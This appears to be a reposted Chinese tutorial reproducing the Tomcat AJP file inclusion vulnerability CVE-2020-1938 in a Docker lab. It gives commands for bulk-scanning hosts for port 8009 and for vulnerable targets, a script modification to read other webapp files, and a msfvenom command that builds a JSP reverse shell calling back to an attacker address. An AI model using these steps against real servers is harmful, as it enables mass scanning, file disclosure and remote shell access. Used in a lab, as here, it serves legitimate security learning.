CVE-2020-1938 Apache Tomcat AJP文件包含漏洞


影響版本

  • Apache Tomcat 6
  • Apache Tomcat 7 < 7.0.100
  • Apache Tomcat 8 < 8.5.51
  • Apache Tomcat 9 < 9.0.31

復現

環境准備

選取一個版本受影響的Tomcat, 我們這里在Docker hub上找了一個官方9.0.30版本的Tomcat鏡像來復現

docker pull tomcat:9.0.30-jdk8-adoptopenjdk-hotspot

運行容器后, 進入容器里的/usr/local/tomcat目錄, 將webapps.dist下的內容復制到webapps目錄下

docker run --rm -p 8009:8009 -p 8080:8080 -d tomcat:9.0.30-jdk8-adoptopenjdk-hotspot

訪問8080端口,查看Tomcat是否正常運行

工具准備

訪問下面的鏈接或在github上自己尋找

https://github.com/Kit4y/CNVD-2020-10487-Tomcat-Ajp-lfi-Scanner

簡單測試

threading-find-port-8009.py用於找出開放8009端口的域名或IP, 我們將要掃描的域名或IP放於ip.txt

運行threading-find-port-8009.py后會生成8009.txt, 它保存 ip.txt 中開放8009端口的域名/IP

python threading-find-port-8009.py

threading-CNVD-2020-10487-Tomcat-Ajp-lfi.py從8009.txt中篩選出符合漏洞的url, 放置於vul.txt中. 最后vul.txt中存在的域名即為含有漏洞的域名.

python threading-CNVD-2020-10487-Tomcat-Ajp-lfi.py

跨目錄讀取

腳本默認讀取ROOT目錄下的文件, 如果想讀取webapps其他目錄下的文件, 可以對腳本進行簡單的修改

不可以跨目錄讀取/etc/passwd等文件, 只能讀取和包含webapps目錄下的文件 

修改“/asdf”就可以實現跨目錄讀取. 比如我們要讀取test目錄下的test.txt

_,data = t.perform_request('/test/asdf',attributes=[

在webapps下的創建一個test目錄, 放上一個test.txt文件

然后用修改后的腳本讀取這個文件即可

反彈shell

如果服務器同時存在文件上傳漏洞, 則可以進一步取得shell. 我們先修改一下腳本, 在“/asdf”后面加上“.jsp”即可

_,data = t.perform_request('/asdf.jsp',attributes=[

生成Payload, 其中192.168.125.130是攻擊者地址

msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.125.130 LPORT=4444 > shell.txt

設置好payload,然后開始監聽

將shell.txt放到webapps的ROOT目錄下后,運行腳本

獲得shell

防護建議

http://blog.nsfocus.net/cve-2020-1938/

 

聲明

本文僅用於安全自測及交流學習,請勿用於非法操作。利用本文造成的任何直接或間接后果,由使用者本人負責。

 

參考資料

https://www.lstazl.com/tomcat%e6%96%87%e4%bb%b6%e5%8c%85%e5%90%ab%e6%bc%8f%e6%b4%9ecnvd-2020-1048/

https://www.geek-by.xyz/2020/02/21/cve-2020-1938-apache-tomcat-ajp-wen-jian-bao-han-lou-dong/


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM